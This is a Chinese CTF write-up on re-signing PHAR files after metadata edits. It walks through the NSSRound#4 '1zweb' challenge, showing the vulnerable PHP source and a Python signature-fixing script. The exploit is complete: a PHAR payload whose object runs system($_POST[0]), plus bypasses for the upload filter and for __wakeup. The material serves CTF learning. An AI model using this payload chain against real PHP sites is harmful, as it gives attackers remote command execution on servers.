Back

Phar反序列化中的签名修复

Phar反序列化知识点

phar反序列化时会遇见绕过__wakeup()的情况,若直接修改其metadata中的序列化字符串,php会无法解析,其原因在于phar文件是包含签名的,php在解析时会根据签名来判断文件是否遭到修改

刷题时遇见了,来把这个知识点记录一下

修复

我们先来看php的官方文档

可以得知,文件的末尾4位即GBMB用于定义签名存在;在此之前的四位是签名标识,用于定义签名所用的算法,默认是sha1;再往前就是实际的签名内容,不同的算法有不同的长度,CTF中遇见的一般都是sha1

结合010来看更清晰(选中的部分就是实际的签名内容)

而在修改了文件内容后,我们需要修改的签名部分也就是这实际的签名内容(sha1为20字节)

python脚本(来自X1r0z师傅):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import hashlib

with open('phar.phar', 'rb') as f:
    content = f.read()

text = content[:-28]    # 文件内容
end = content[-8:]      # 无需更改的后8位字节
sig = hashlib.sha1(text).digest()   # 重新签名

with open('phar_new.phar', 'wb+') as f:
    f.write(text + sig + end)   # 写入修改后的内容

例题

题目来自NSSRound#4的1zweb
界面:

存在读取文件与上传文件的功能

非预期解:出题人没有对读取文件做限制,导致了目录穿越,可直接读取flag

预期解如下; 首先读取index.phpupload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php   //index.php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

很简单的反序列化,可以看到最后的文件操作函数是file_get_content,可以触发phar反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php   //upload.php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

文件上传处不仅限制了后缀名,还判断了文件内容有没有__HALT_COMPILER();这个phar文件标记

本题绕过的点:

  • 后缀检测:php识别phar文件是靠其文件头的stub,也就是__HALT_COMPILER();,与后缀无关
  • __wakeup绕过:改变成员个数即可(老东西了)
  • 内容检测绕过:将phar文件用gzip或其他压缩方式压缩即可绕过

EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class LoveNss
{
    public $ljt = "Misc";
    public $dky = "Re";
    public $cmd = 'system($_POST[0]);';
}


$obj = new LoveNss();

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($obj);
$phar->addFromString("shell.txt", "shell");
$phar->stopBuffering();

修改成员个数后要重新签名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import hashlib
import gzip

with open('phar.phar','rb') as f:
    content = f.read()

text = content[:-28]
end = content[-8:]

new_file = text + hashlib.sha1(text).digest() + end
f_gzip = gzip.GzipFile("shell.phar", "wb")
f_gzip.write(new_file)
f_gzip.close()

修改后缀上传后用phar://解析即可成功反序列化